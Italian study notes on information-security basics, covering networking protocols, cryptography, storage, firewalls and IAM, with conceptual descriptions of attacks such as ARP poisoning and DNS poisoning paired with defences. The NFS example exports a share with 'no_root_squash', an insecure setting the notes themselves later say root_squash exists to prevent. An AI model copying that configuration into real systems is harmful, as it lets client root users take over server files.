Fondamenti di Sicurezza
La Triade CIA (anche nota come RID in italiano) è il modello fondamentale della sicurezza informatica. Ogni controllo di sicurezza esiste per proteggere almeno uno di questi tre principi.
| Principio | Definizione | Minacce tipiche | Contromisure |
|---|---|---|---|
| C — Confidenzialità | Solo chi è autorizzato accede ai dati | Intercettazione, data breach, insider threat | Crittografia, ACL, MFA, classificazione dati |
| I — Integrità | I dati non vengono alterati senza autorizzazione | Tampering, SQL injection, MitM, ransomware | Hash, firma digitale, checksum, RBAC |
| A — Availability (Disponibilità) | I sistemi sono accessibili quando necessario | DDoS, ransomware, guasto hardware, cancellazione | Ridondanza, RAID, backup, BCP/DR |
Ogni decisione di sicurezza comporta trade-off tra i tre principi. Esempio: la massima disponibilità (nessun downtime) può confliggere con la confidenzialità (dati non cifrati per velocità). La sicurezza è trovare il bilanciamento corretto per il contesto.
Identificatore pubblico univoco per ogni vulnerabilità nota. Formato: CVE-ANNO-NUMERO (es. CVE-2021-44228 = Log4Shell). Database ufficiale: NVD (National Vulnerability Database) del NIST.
Punteggio 0–10 che valuta la gravità di una CVE. Considera: vettore d'attacco, complessità, privilegi richiesti, impatto su riservatezza, integrità e disponibilità.
Vulnerabilità scoperta e sfruttabile per cui NON esiste ancora una patch.
- Vulnerabilità scoperta
- Segnalazione → apertura CVE
- Il produttore sviluppa la patch
- Patch distribuita e installata
SOC (Security Operations Center): unità H24/365 per monitoraggio, threat detection, incident response e threat intelligence.
CISO (Chief Information Security Officer): responsabile della strategia di sicurezza. Riporta al CEO/CTO. Definisce policy, budget e compliance (GDPR, ISO 27001).
Processo continuo: inventario asset → scansione CVE → prioritizzazione CVSS → test staging → deploy → verifica.
La sicurezza a livello di sistema operativo è la base su cui poggiano tutte le difese applicative. Un OS mal configurato vanifica qualsiasi controllo superiore.
| Area | Principio | Esempi pratici |
|---|---|---|
| Hardening | Ridurre la superficie di attacco | Disabilitare servizi inutili, chiudere porte non usate, rimuovere software superfluo |
| Patch management | Aggiornare sistematicamente | Windows Update, apt/yum, patch di sicurezza critiche entro 24-72h |
| Gestione account | Minimo privilegio e separazione | No account condivisi, disabilitare Administrator/root diretto, sudo con audit |
| File system | Permessi corretti e separazione | ACL, chmod, SELinux/AppArmor, cifratura disco (BitLocker, LUKS) |
| Logging | Auditabilità completa | Syslog/Event Log centralizzati, log login falliti, sudo usage |
| Antimalware | Protezione runtime | AV/EDR, Windows Defender, ClamAV su Linux |
CIS Benchmarks — linee guida di hardening per ogni OS (Windows, Linux, macOS) prodotte dal Center for Internet Security. Standard di riferimento per audit e compliance.
| OS | Meccanismo di controllo accessi mandatorio |
|---|---|
| Linux | SELinux (Red Hat/CentOS) · AppArmor (Ubuntu/Debian) |
| Windows | Mandatory Integrity Control (MIC) · UAC · Windows Defender Credential Guard |
| macOS | System Integrity Protection (SIP) · Gatekeeper · Sandbox |
Il fattore umano è la vulnerabilità più difficile da patchare. Il 90%+ degli incidenti di sicurezza ha una componente umana — errori, ingenuità, negligenza o dolo.
| Categoria | Comportamento | Esempio |
|---|---|---|
| Errore involontario | Misconfiguration, click sbagliato | S3 bucket reso pubblico per errore, click su link phishing |
| Negligenza | Ignora le policy di sicurezza | Password riutilizzate, USB trovata inserita, aggiornamenti ignorati |
| Insider threat | Dipendente malevolo intenzionale | Esfiltrazione dati prima di lasciare l'azienda |
| Ingegneria sociale | Manipolazione psicologica | Phishing, pretexting, vishing |
Identità digitale — l'insieme delle credenziali e attributi che identificano un utente nei sistemi digitali. Include:
- Credenziali di autenticazione (username/password, certificati, token)
- Attributi di profilo (ruolo, reparto, livello di accesso)
- Impronta comportamentale (orari di lavoro, dispositivi usati, pattern di accesso)
Programma di Security Awareness — formazione continua obbligatoria per ridurre il rischio umano:
- Phishing simulation — campagne di test periodiche
- Training annuale obbligatorio su policy aziendali
- Incident reporting culture — incentivare la segnalazione senza penalizzare gli errori
- Clean desk policy, password policy, use of corporate devices
Modello OSI — 7 Livelli
| # | Nome | Funzione | Protocolli / Esempi |
|---|---|---|---|
| 7 | Applicazione | Servizi per l'utente finale | HTTP/S, FTP, DNS, SSH, SNMP, NFS, SMB |
| 6 | Presentazione | Formato, compressione, cifratura | TLS/SSL, MIME, JPEG, ASCII |
| 5 | Sessione | Apertura/chiusura sessioni | NetBIOS, RPC, PPTP |
| 4 | Trasporto | Consegna end-to-end affidabile | TCP, UDP, SCTP |
| 3 | Rete | Instradamento tra reti diverse | IP, ICMP, ARP*, OSPF, RIP, BGP |
| 2 | Data Link | Frame, indirizzamento MAC, correzione errori | Ethernet (802.3), Wi-Fi (802.11), PPP, Frame Relay, MPLS |
| 1 | Fisico | Trasmissione segnali elettrici/ottici/radio | Cavi UTP/STP, fibra ottica, onde radio, DSL |
Livello 1 — Fisico: si occupa della trasmissione grezza di bit sul mezzo fisico. Non conosce frame, indirizzi o protocolli — solo segnali.
| Tecnologia | Standard | Uso tipico |
|---|---|---|
| Ethernet (cavi UTP) | IEEE 802.3 · Cat5e/6/6a | LAN domestiche, aziendali, data center |
| Wi-Fi | IEEE 802.11a/b/g/n/ac/ax | Reti wireless; 2.4 GHz (portata) / 5 GHz (velocità) / 6 GHz (Wi-Fi 6E) |
| Fibra Ottica | G.652 (SMF), OM3/OM4 (MMF) | Backbone di rete, reti metropolitane, WAN, ISP |
| DSL | G.992 (ADSL), G.993 (VDSL) | Connessioni broadband su doppino telefonico |
Livello 2 — Data Link: gestisce la consegna frame-per-frame sulla stessa rete fisica. Usa indirizzi MAC (48 bit) e si divide in due sottolivelli: LLC (controllo logico) e MAC (controllo accesso al mezzo).
| Protocollo | Contesto | Caratteristiche |
|---|---|---|
| Ethernet (802.3) | LAN cablata | Frame con MAC src/dst, FCS per integrità. Standard dominante. |
| PPP (Point-to-Point) | Link seriali, DSL, VPN | Autenticazione (PAP/CHAP), compressione, connessioni punto a punto |
| Frame Relay | WAN legacy | Commutazione di pacchetti variabili in rete WAN; usa DLCI come identificatore |
| MPLS | WAN enterprise, ISP | Switching basato su label (etichette): crea tunnel LSP virtuali per QoS e VPN. Opera tra L2 e L3 ("L2.5") |
Hardware di Rete
| Caratteristica | Switch | Router |
|---|---|---|
| Livello OSI | L2 (Data Link) — L3 per switch managed avanzati | L3 (Rete) |
| Funzione | Collega dispositivi nella stessa LAN usando indirizzi MAC | Collega reti diverse, instrada pacchetti IP tra di esse |
| Indirizzo usato | MAC (Media Access Control) | IP (Internet Protocol) |
| Tabella interna | MAC Address Table (CAM table) | Routing Table |
| Broadcast | Propaga i broadcast nella VLAN | Blocca i broadcast tra reti diverse |
| Segmentazione | VLAN (Virtual LAN) | Subnet e instradamento inter-VLAN |
Un Access Point (AP) estende la rete cablata in modalità wireless, permettendo ai dispositivi Wi-Fi di connettersi. Un Wireless Controller centralizza la gestione di decine o centinaia di AP — tipico in ambienti enterprise.
| Modalità | AP Autonomo | AP Gestito (con Controller) |
|---|---|---|
| Configurazione | Singola, sul dispositivo | Centralizzata sul controller |
| Scalabilità | Limitata (uffici piccoli) | Alta (campus, aeroporti, hotel) |
| Roaming | Manuale / discontinuo | Seamless (hand-off automatico) |
| Sicurezza | Configurata per AP | Policy uniformi, RADIUS centralizzato |
Standard IEEE 802.11:
| Standard | Nome | Banda | Velocità max |
|---|---|---|---|
| 802.11n | Wi-Fi 4 | 2.4 / 5 GHz | 600 Mbps |
| 802.11ac | Wi-Fi 5 | 5 GHz | 3.5 Gbps |
| 802.11ax | Wi-Fi 6/6E | 2.4 / 5 / 6 GHz | 9.6 Gbps |
Modem (MOdulator-DEModulator): converte il segnale digitale della rete LAN nel segnale analogico/fisico del provider (DSL, fibra, coassiale). Opera a L1.
Gateway: dispositivo che collega due reti con protocolli diversi. In senso pratico, il router di casa è il "gateway predefinito" della LAN verso Internet — ogni pacchetto destinato fuori dalla subnet locale viene inviato qui.
| Dispositivo | Livello OSI | Funzione principale |
|---|---|---|
| Hub | L1 — Fisico | Ripetitore di segnale, broadcast su tutte le porte (obsoleto) |
| Switch | L2 — Data Link | Instradamento frame per MAC address |
| Router / Gateway | L3 — Rete | Instradamento pacchetti per IP |
| Firewall | L3–L7 | Filtro traffico per regole di sicurezza |
La sicurezza Wi-Fi si è evoluta in risposta a vulnerabilità scoperte nei protocolli precedenti:
| Protocollo | Anno | Cifratura | Stato |
|---|---|---|---|
| WEP | 1997 | RC4 (rotto) | ❌ Deprecato — crackabile in minuti |
| WPA | 2003 | TKIP (RC4) | ❌ Vulnerabile |
| WPA2 | 2004 | AES-CCMP | ✔ Standard corrente (vulnerabile a PMKID attack) |
| WPA3 | 2018 | AES-GCMP + SAE | ✔✔ Standard raccomandato — protegge da brute force offline |
WPA3 miglioramenti chiave: SAE (Simultaneous Authentication of Equals) sostituisce PSK — anche se la password viene catturata, le sessioni precedenti restano protette (Perfect Forward Secrecy). Evil Twin / PMKID Attack: l'attaccante crea un falso AP con lo stesso SSID per intercettare le credenziali — difesa: 802.1X con certificati server.
Topologie di Rete
| Topologia | Meccanismo | Guasto nodo | Guasto cavo | Scalabilità |
|---|---|---|---|---|
| Bus | Broadcast su cavo | Isolato | ⚠ Rete giù | Bassa |
| Stella | Switch centrale | ✓ Isolato | ✓ Isolato | Alta |
| Anello | TOKEN antiorario | ⚠ Blocca* | ⚠ Blocca | Media |
| Maglia | Link multipli OSPF/BGP | ✓ Bypass | ✓ Bypass | Alta |
| Albero | Core→Dist→Access | Parziale | Parziale | Alta |
| Ibrida | Combinazione | Dipende | Dipende | Alta |
* MAU bypassa automaticamente il nodo guasto.
TOKEN = frame speciale che circola antiorario. Solo chi ha il token può trasmettere. Deterministico, no collisioni. Oggi obsoleto — sostituito da Ethernet.
Struttura di un Indirizzo IP
32 bit = 4 ottetti decimali separati da punti. Ogni ottetto: 0–255.
192 . 168 . 1 . 10 11000000.10101000.00000001.00001010 → Parte di RETE : determinata dalla subnet mask → Parte di HOST : identifica il singolo dispositivo
IPv6: 128 bit, 8 gruppi esadecimali. 2001:db8::1 (:: = gruppi di zeri omessi)
| Classe | Intervallo | Mask | Host | Uso |
|---|---|---|---|---|
| A | 1.x – 126.x | /8 | 16.7M | Grandi ISP |
| B | 128.x – 191.x | /16 | 65.534 | Reti medie |
| C | 192.x – 223.x | /24 | 254 | LAN piccole |
| D | 224.x – 239.x | — | — | Multicast |
Privati RFC 1918 (non instradati su Internet): 10.0.0.0/8 · 172.16.0.0/12 · 192.168.0.0/16
Speciali: 127.0.0.1 loopback · 169.254.x.x APIPA · 255.255.255.255 broadcast globale
Protocolli di Rete
| Caratteristica | TCP | UDP |
|---|---|---|
| Connessione | ✔ 3-Way Handshake (SYN→SYN-ACK→ACK) | ❌ Connectionless |
| Affidabilità | ✔ Numeri di sequenza + ritrasmissione | ❌ Best effort — nessuna garanzia |
| Ordine | ✔ Garantito (reordering buffer) | ❌ Non garantito |
| Overhead | Header 20 byte + ack + stato | Header 8 byte — minimo |
| Uso tipico | HTTP/S, SSH, FTP, email | Streaming, DNS, VoIP, gaming |
3-Way Handshake TCP:
Client → Server: SYN (seq=x) Server → Client: SYN-ACK (seq=y, ack=x+1) Client → Server: ACK (ack=y+1) → connessione stabilita
UDP: elimina tutto l'overhead di controllo (sequenze, ack, ritrasmissioni) per massimizzare la velocità. Dove la perdita di un singolo pacchetto è meno grave del ritardo — streaming video, VoIP, gaming — UDP è la scelta corretta.
| Servizio | Porta | Proto | Note |
|---|---|---|---|
| HTTP | 80 | TCP | Web non cifrato |
| HTTPS | 443 | TCP | HTTP + TLS |
| DNS | 53 | UDP/TCP | Risoluzione nomi |
| SSH | 22 | TCP | Accesso remoto cifrato |
| FTP | 21 | TCP | Trasferimento file |
| SMTP | 25 | TCP | Invio email |
| SNMP | 161 | UDP | Monitoraggio dispositivi |
| NFS | 2049 | TCP/UDP | File sharing Linux |
| SMB | 445 | TCP | File sharing Windows |
| RDP | 3389 | TCP | Desktop remoto Windows |
| Telnet | 23 | TCP | ❌ In chiaro |
Solo diagnostica e controllo — non trasporta dati utente. Integrato in IP, non ha porte.
ping→ Echo Request/Reply — verifica raggiungibilità e latenzatraceroute→ sfrutta il campo TTL (Time To Live) del pacchetto IP: invia pacchetti con TTL crescente (1, 2, 3...). Ogni router decrementa il TTL; quando arriva a 0 risponde con un messaggio ICMP "Time Exceeded" rivelando il suo IP. In questo modo si mappa l'intero percorso hop per hop.- Messaggi errore: Port Unreachable, Net Unreachable, Redirect
Abusi:
- Ping flood (DoS): saturazione della banda e della CPU del target con Echo Request massivi
- ICMP Tunneling: un malware inserisce dati esfiltrati nel campo payload di un Echo Request. Poiché molti firewall lasciano passare i ping senza ispezionarne il contenuto, i dati escono silenziosamente dalla rete. Difesa: deep packet inspection o blocco ICMP in uscita
Risolve un indirizzo IP in indirizzo MAC sulla stessa rete locale. Prima di inviare un frame Ethernet, l'host deve conoscere il MAC del destinatario — ARP lo scopre via broadcast.
Host A (192.168.1.10) vuole parlare con Host B (192.168.1.20): 1. A → broadcast: "Chi ha 192.168.1.20? Dimmi il tuo MAC" 2. B → A: "Sono io, il mio MAC è AA:BB:CC:DD:EE:FF" 3. A memorizza nella ARP cache: 192.168.1.20 → AA:BB:CC:DD:EE:FF
ARP Poisoning / Spoofing: un attaccante invia risposte ARP fasulle per associare il proprio MAC all'IP del gateway — tutto il traffico della rete passa attraverso di lui (Man-in-the-Middle). Difesa: Dynamic ARP Inspection (DAI) sugli switch managed, segmentazione VLAN.
Assegna automaticamente IP, subnet mask, gateway predefinito e server DNS ai client della rete. Senza DHCP, ogni dispositivo richiederebbe configurazione manuale.
Sequenza DORA:
Client → broadcast: DISCOVER (cerco un server DHCP) Server → client: OFFER (ti offro 192.168.1.50/24, gw .1, dns 8.8.8.8) Client → broadcast: REQUEST (accetto l'offerta del server X) Server → client: ACK (confermato, lease di 24 ore)
| Attacco | Meccanismo | Difesa |
|---|---|---|
| DHCP Starvation | L'attaccante esaurisce il pool IP inviando migliaia di DISCOVER con MAC falsi | Port security sullo switch (limite MAC per porta) |
| Rogue DHCP Server | Server DHCP malevolo risponde prima del legittimo → assegna gateway controllato dall'attaccante | DHCP Snooping sullo switch (solo porte trusted possono rispondere OFFER) |
Gerarchia distribuita che risolve nomi logici in indirizzi IP — non è una semplice tabella ma un albero: Root Servers (.) → TLD (.it, .com) → Nameserver Autoritativi del dominio. UDP per query veloci, TCP per trasferimenti di zona.
| Record | Funzione |
|---|---|
| A | Dominio → IPv4 |
| AAAA | Dominio → IPv6 |
| MX | Mail server del dominio |
| CNAME | Alias — punta a un altro nome |
| NS | Nameserver autoritativo della zona |
| PTR | Reverse DNS: IP → nome (usato da spam filter) |
Vettori di attacco:
- Zone Transfer (AXFR): se il nameserver è mal configurato, un attaccante può richiedere l'intero database della zona DNS — tutti gli host interni, IP, sottodomini — rivelando completamente la topologia della rete. Difesa: limitare AXFR ai soli nameserver secondari autorizzati.
- DNS Spoofing / Cache Poisoning: inserimento di record DNS falsi nella cache del resolver per dirottare il traffico verso IP malevoli (phishing, MitM). Difesa: DNSSEC.
Condivide directory tra sistemi Unix/Linux come se fossero dischi locali.
# Server — /etc/exports /dati 192.168.1.0/24(rw,sync,no_root_squash) # Client mount -t nfs 192.168.1.5:/dati /mnt/condiviso
- NFS vs SMB: NFS (porta 2049) = Linux/Unix · SMB (porta 445) = Windows — entrambi L7, protocolli di file sharing su rete IP
- NFS vs SAN: NFS → accesso a FILE via IP (L7) · SAN → accesso a BLOCCHI via FC/iSCSI (fuori modello OSI classico)
- root squash: opzione di sicurezza fondamentale — il client si presenta come root, ma il server mappa forzatamente quell'accesso all'utente anonimo
nobody(UID 65534), impedendo che i privilegi root del client si propaghino sui file del server
Monitora dispositivi di rete (router, switch, server). Componenti: NMS (manager) + Agent (sui dispositivi) + MIB (Management Information Base — il dizionario degli oggetti monitorabili).
OID (Object Identifier): indirizzo numerico gerarchico che identifica univocamente ogni dato monitorabile nella MIB:
OID: 1.3.6.1.2.1.1.1.0 = iso.org.dod.internet.mgmt.mib-2.system.sysDescr
| Versione | Autenticazione | Cifratura | Sicurezza |
|---|---|---|---|
| v1 | Community string in chiaro | ❌ Nessuna | ❌ Deprecato |
| v2c | Community string in chiaro | ❌ Nessuna | ❌ Non produzione |
| v3 | Modello USM (MD5/SHA) | ✔ DES/AES | ✔ Standard |
Indirizzamento IP & Routing
AND bit a bit tra IP e maschera → indirizzo di rete. CIDR (/xx) supera le classi A/B/C.
| CIDR | Mask | Totale | Host utili |
|---|---|---|---|
| /24 | 255.255.255.0 | 256 | 254 |
| /16 | 255.255.0.0 | 65.536 | 65.534 |
| /8 | 255.0.0.0 | 16.7M | 16.7M-2 |
| /30 | 255.255.255.252 | 4 | 2 (point-to-point) |
/16: 192.168.x.x si vedono tutti direttamente → router invisibile → rete flat.
/24: 192.168.1.x NON vede 192.168.2.x → passa dal gateway → separazione reti, DMZ, VLAN.
Punto di uscita della rete locale. Se un host vuole raggiungere un IP fuori dalla sua subnet, invia il pacchetto al gateway che decide come instradarlo.
| Aspetto | Statico | Dinamico |
|---|---|---|
| Configurazione | Manuale | Automatica |
| Adattamento guasti | ❌ No | ✔ Automatico |
| Overhead | Zero | CPU + banda |
| Scalabilità | Bassa | Alta |
| Protocolli | — | OSPF, RIP, BGP |
Link-State: ogni router ha una copia dell'intera topologia della rete (LSDB — Link State Database). Usa l'algoritmo di Dijkstra per calcolare il percorso più breve basandosi sul costo — valore inversamente proporzionale alla bandwidth del link (banda alta = costo basso). Converge in secondi, nessun limite di hop. Multicast 224.0.0.5. Standard enterprise.
Aree OSPF: la rete è divisa in aree gerarchiche (Area 0 = backbone obbligatoria). Le aree riducono il volume di LSA (Link State Advertisement) e la dimensione della LSDB in reti molto grandi.
router ospf 1 network 192.168.1.0 0.0.0.255 area 0 network 10.0.0.0 0.255.255.255 area 0
Distance Vector: ogni router conosce solo la direzione e la distanza in hop verso le destinazioni, non la topologia completa. Algoritmo Bellman-Ford. Aggiornamento ogni 30s, convergenza lenta (minuti). Limite massimo: 15 hop — alla metrica 16 la destinazione è considerata irraggiungibile (∞). Questo limite nasce per prevenire il counting-to-infinity loop.
| Caratteristica | RIP v1 | RIP v2 | OSPF |
|---|---|---|---|
| Tipo | Distance Vector | Distance Vector | Link State |
| Max hop | 15 (16=∞) | 15 (16=∞) | Nessun limite |
| Aggiornamento | Broadcast | Multicast 224.0.0.9 | Multicast 224.0.0.5 |
| VLSM/CIDR | ❌ | ✔ | ✔ |
| Autenticazione | ❌ | ✔ MD5 | ✔ |
| Convergenza | Lenta (minuti) | Lenta (minuti) | Veloce (secondi) |
Gestisce via software più link eterogenei (MPLS, broadband, LTE, 5G) in parallelo. Il modello è Overlay/Underlay: la rete logica SD-WAN (overlay) si sovrappone alla rete fisica sottostante (underlay) indipendentemente dal tipo di connessione.
- Failover automatico tra link — se il link MPLS cade, il traffico passa su broadband in ms
- Traffic shaping per applicazione — priorità a VoIP/videoconferenza su link congestionato
- Gestione centralizzata via controller cloud — visibilità e policy da un'unica console
- Costo molto inferiore a MPLS dedicato mantenendo qualità del servizio
Crittografia
Funzione UNIDIREZIONALE: trasforma dati di qualsiasi dimensione in una stringa fissa di caratteri esadecimali. Dall'hash è computazionalmente impossibile risalire ai dati originali.
- Integrità file: confronta hash scaricato con quello ufficiale
- Password: hashate con SALT univoco → anche in caso di breach l'attaccante ha solo hash
- Blockchain: ogni blocco contiene l'hash del precedente → modificarlo invalida la catena
| Algoritmo | Bit | Sicurezza | Uso |
|---|---|---|---|
| MD5 | 128 | ❌ Insicuro | Solo checksum rapidi |
| SHA-1 | 160 | ❌ Deprecato | Legacy |
| SHA-256 | 256 | ✔ Sicuro | TLS, firme, Bitcoin |
| bcrypt/Argon2 | var. | ✔✔ | Password: lenti by design |
"ciao" → b94f6f125c79e3a5ffaa826f584c10d52ada669e6762051b826b55776d05a8df
Mittente e destinatario usano la stessa chiave per cifrare e decifrare. Veloce, adatta a grandi volumi di dati.
| Algoritmo | Chiave | Stato | Uso |
|---|---|---|---|
| DES | 56 bit | ❌ Deprecato | Legacy |
| 3DES | 112/168 bit | ❌ Deprecato | Legacy |
| AES-128 | 128 bit | ✔ Sicuro | WPA2, TLS, disco |
| AES-256 | 256 bit | ✔✔ Standard oro | VPN, full-disk, gov |
| ChaCha20 | 256 bit | ✔ Sicuro | TLS mobile |
Coppia di chiavi matematicamente legate: chiave pubblica (distribuibile) e chiave privata (segreta). Ciò che cifra una, decifra solo l'altra.
| Scenario | Chiave pubblica | Chiave privata |
|---|---|---|
| Cifrare messaggio | Cifra (destinatario) | Decifra (destinatario) |
| Firma digitale | Verifica firma | Crea firma (mittente) |
| Algoritmo | Base matematica | Uso tipico |
|---|---|---|
| RSA-2048/4096 | Fattorizzazione numeri grandi | TLS, SSH, firme |
| ECC (P-256, P-384) | Curve ellittiche | TLS moderno, mobile |
| Diffie-Hellman | Logaritmo discreto | Scambio chiave di sessione TLS |
Infrastruttura gerarchica che gestisce il ciclo di vita dei certificati digitali, garantendo l'autenticità delle chiavi pubbliche.
| Componente | Ruolo |
|---|---|
| Root CA | Autorità suprema, tenuta offline per sicurezza |
| Intermediate CA | Emette certificati end-entity per conto della Root |
| Certificato X.509 | Lega chiave pubblica a identità (dominio, persona, org.) |
| CRL | Certificate Revocation List — elenco certificati revocati |
| OCSP | Verifica real-time validità certificato (alternativa a CRL) |
| Wildcard cert | *.dominio.it copre tutti i sottodomini di primo livello |
Protocollo che garantisce riservatezza, integrità e autenticazione nelle comunicazioni. SSL è il predecessore deprecato. È il fondamento della PKI moderna.
| Versione | Stato |
|---|---|
| SSL 2.0 / 3.0 | ❌ Deprecato (POODLE, DROWN) |
| TLS 1.0 / 1.1 | ❌ Deprecato (RFC 8996, 2021) |
| TLS 1.2 | ✔ Accettabile (usare con cipher suite forti) |
| TLS 1.3 | ✔✔ Standard attuale — 1-RTT, algoritmi deboli rimossi |
TLS 1.3 vs 1.2: la versione 1.3 ha eliminato algoritmi storicamente deboli (MD5, RC4, RSA statico) e ridotto i round-trip dell'handshake da 2 a 1-RTT — connessioni più veloci e più sicure by design.
Handshake ibrido (cuore di TLS): la crittografia asimmetrica (ECDHE/RSA) viene usata solo per scambiare una chiave di sessione monouso — poi tutta la comunicazione usa crittografia simmetrica (AES-GCM), molto più veloce per i volumi di dati reali.
ClientHello → ServerHello + certificato → verifica CA → scambio chiave sessione (ECDHE) → dati cifrati AES-GCM
Garantisce autenticità (chi ha firmato), integrità (il documento non è stato alterato) e non ripudio (il mittente non può negare).
- Il mittente calcola l'hash del documento (es. SHA-256)
- Cifra l'hash con la propria chiave privata → firma digitale
- Il destinatario decifra la firma con la chiave pubblica del mittente
- Confronta l'hash ottenuto con quello ricalcolato sul documento ricevuto
L'efficacia della crittografia dipende interamente dalla sicurezza delle chiavi. La gestione del ciclo di vita delle chiavi è un processo critico.
| Fase | Descrizione |
|---|---|
| Generazione | RNG crittograficamente sicuro (CSPRNG), entropia sufficiente |
| Distribuzione | Canale sicuro (asimmetrica, DH, KEM) o HSM |
| Storage | HSM, Key Vault (Azure/AWS KMS), mai in chiaro |
| Rotazione | Sostituzione periodica; obbligatoria dopo compromissione |
| Revoca | CRL / OCSP per certificati; immediata in caso di breach |
| Distruzione | Cancellazione sicura (overwrite, distruzione fisica HSM) |
| Strumento | Tipo | Uso |
|---|---|---|
| HSM (Hardware Security Module) | Hardware | Genera e protegge chiavi in hardware dedicato, non esportabili |
| AWS KMS | Cloud | Key management gestito, integrato con servizi AWS |
| Azure Key Vault | Cloud | Chiavi, segreti e certificati in Azure |
| HashiCorp Vault | Software | Key management open source, multi-cloud |
La Full Disk Encryption (FDE) cifra l'intero disco rigido — sistema operativo, dati, file temporanei — proteggendo i dati anche in caso di furto fisico del dispositivo. Senza la chiave/PIN, il disco è illeggibile.
| Strumento | OS | Algoritmo | Note |
|---|---|---|---|
| BitLocker | Windows (Pro/Enterprise) | AES-128/256 (XTS) | Integrato nell'OS; usa TPM per la chiave di avvio. Recovery key su Active Directory o Microsoft Account |
| FileVault | macOS | XTS-AES-128 | Integrato in macOS; attivabile da Preferenze di Sistema → Sicurezza. Recovery key locale o iCloud |
| LUKS | Linux | AES-256 | Linux Unified Key Setup — standard de facto Linux, gestito con cryptsetup |
| VeraCrypt | Cross-platform | AES/Serpent/Twofish | Open source, supporta volumi nascosti (plausible deniability) |
TPM (Trusted Platform Module): chip hardware che custodisce la chiave di cifratura del disco e la rilascia solo se la sequenza di avvio è integra — protegge da tampering fisico della sequenza di boot.
Infrastruttura & RAID
| Tecnologia | Accesso | Rete | Uso principale |
|---|---|---|---|
| NAS | FILE (SMB, NFS) via IP | IP condivisa | File sharing, backup |
| SAN | BLOCCO (Fibre Channel, iSCSI) — il server vede il disco remoto come LUN (Logical Unit Number), cioè come se fosse collegato fisicamente | Rete dedicata (FC fabric) | Database mission-critical, virtualizzazione |
| CSV | Astrazione su SAN (volume condiviso) | Rete cluster dedicata | Alta disponibilità — Failover Clustering |
| RAID | Array di dischi indipendenti | Locale/interno | Ridondanza fisica e performance |
CSV (Cluster Shared Volumes) è un livello di astrazione sopra la SAN che permette a più nodi di un cluster Windows di accedere allo stesso volume contemporaneamente — fondamentale per l'alta disponibilità (es. Failover Cluster, Hyper-V live migration). Non va confuso con il formato CSV testuale (Comma-Separated Values).
RAID 5 — 3 dischi: D1: A1 D2: A2 D3: parità(A1 XOR A2) D1: par D2: B1 D3: B2 ← parità ruota
| Aspetto | Type 1 — Bare Metal | Type 2 — Hosted |
|---|---|---|
| Gira su | Direttamente sull'HW | Sopra un OS esistente |
| Prestazioni | Massime | Overhead maggiore |
| Uso | Datacenter enterprise | Sviluppo, lab, desktop |
| Esempi | VMware ESXi, Hyper-V, KVM | VirtualBox, VMware WS |
La deduplication è una funzione di ottimizzazione dello storage che elimina le copie ridondanti dei dati memorizzando ogni blocco unico una sola volta. Se lo stesso file esiste in 100 VM, viene archiviato fisicamente una sola volta — le altre 99 istanze sono puntatori.
| Tipo | Quando opera | Impatto performance | Uso tipico |
|---|---|---|---|
| Inline | Prima di scrivere su disco | CPU overhead durante scrittura | Ambienti con banda di scrittura limitata |
| Post-process | Dopo la scrittura (batch notturno) | Nessun impatto in produzione | Backup, archivi, VDI |
| Source-side | Sul client prima del trasferimento | Riduce banda WAN | Backup remoto, replica |
Risparmio tipico: VM quasi identiche → 95%+ di riduzione. File utente con molte copie → 50-80%. Backup giornalieri incrementali → 90%+. La deduplication è distinta dalla compressione (che riduce i dati non duplicati) — le due tecnologie sono spesso combinate.
ETL è il processo standard per spostare e trasformare dati da sistemi sorgente verso un sistema destinazione (data warehouse, nuovo DB, cloud). È al cuore della migrazione sicura dei dati.
| Fase | Descrizione | Strumenti tipici | Rischi di sicurezza |
|---|---|---|---|
| Extract | Raccolta dati da sorgenti eterogenee (DB, CSV, API, log) | Talend, Apache NiFi, Informatica | Accesso non autorizzato alle sorgenti, credential exposure |
| Transform | Pulizia, normalizzazione, mascheramento dati sensibili | Apache Spark, SSIS, Pentaho | Dati in chiaro in staging, perdita integrità |
| Load | Inserimento nel sistema destinazione | AWS Glue, Azure Data Factory, GCP Dataflow | Trasferimento in chiaro, injection sulla destinazione |
Trasferimento sicuro dei dati: durante le fasi ETL usare sempre protocolli cifrati: SFTP (SSH File Transfer Protocol), FTPS (FTP over TLS), HTTPS. Mai trasferire dati in chiaro con FTP o HTTP.
Firewall, IDS/IPS & VPN
Dispositivo o software che filtra il traffico di rete in base a regole (policy), controllando cosa entra e cosa esce dalla rete.
| Generazione | Livello OSI | Analisi | Esempio |
|---|---|---|---|
| Packet Filter | L3/L4 | IP src/dst, porta, protocollo — stateless | iptables base |
| Stateful (SPI) | L3/L4 | Traccia stato connessioni TCP | iptables conntrack |
| Application (Proxy) | L7 | Ispeziona payload applicativo (HTTP, DNS…) | Squid, Palo Alto |
| NGFW | L7 | DPI, IPS integrato, identità utente, SSL inspection | Fortinet, Palo Alto, Cisco FTD |
| WAF | L7 | Solo traffico HTTP/S, protegge applicazioni web | ModSecurity, Cloudflare WAF |
IDS (Intrusion Detection System): monitora e avvisa di attività sospette ma non blocca. IPS (Intrusion Prevention System): rileva e blocca in tempo reale.
| Caratteristica | IDS | IPS |
|---|---|---|
| Posizione | Out-of-band (copia traffico) | Inline (nel flusso dati) |
| Azione | Alert/log | Block/drop/reset |
| Rischio falsi positivi | Basso impatto | Alto — può bloccare traffico legittimo |
| Tipo | Sigla | Monitora |
|---|---|---|
| Network-based | NIDS/NIPS | Traffico di rete (packet capture) |
| Host-based | HIDS/HIPS | Log di sistema, syscall, file integrity |
Metodi di rilevamento: signature-based (pattern noti, bassa efficacia su 0-day) · anomaly-based (deviazione dal baseline, più efficace su attacchi nuovi) · stateful protocol analysis.
Crea un tunnel cifrato tra client e server VPN, proteggendo il traffico da intercettazioni e mascherando l'IP reale dell'utente.
| Protocollo | Porta | Note |
|---|---|---|
| IPsec/IKEv2 | UDP 500/4500 | Robusto, usato in VPN aziendali site-to-site |
| OpenVPN | UDP/TCP 1194 | Open source, molto flessibile |
| WireGuard | UDP 51820 | Moderno, veloce, codice ridotto → meno vulnerabilità |
| SSL/TLS VPN | TCP 443 | Passa firewall restrittivi, clientless (browser) |
| L2TP/IPsec | UDP 1701 | Legacy — evitare dove possibile |
IAM — Identity & Access Management
Framework di policy e tecnologie per garantire che le persone giuste accedano alle risorse giuste al momento giusto per le ragioni giuste.
| Pilastro | Domanda | Risposta |
|---|---|---|
| Identification | Chi sei? | Username, certificato, token |
| Authentication (AuthN) | Sei davvero tu? | Password, MFA, biometria |
| Authorization (AuthZ) | Cosa puoi fare? | Permessi, ruoli, ACL |
| Accounting | Cosa hai fatto? | Log, audit trail |
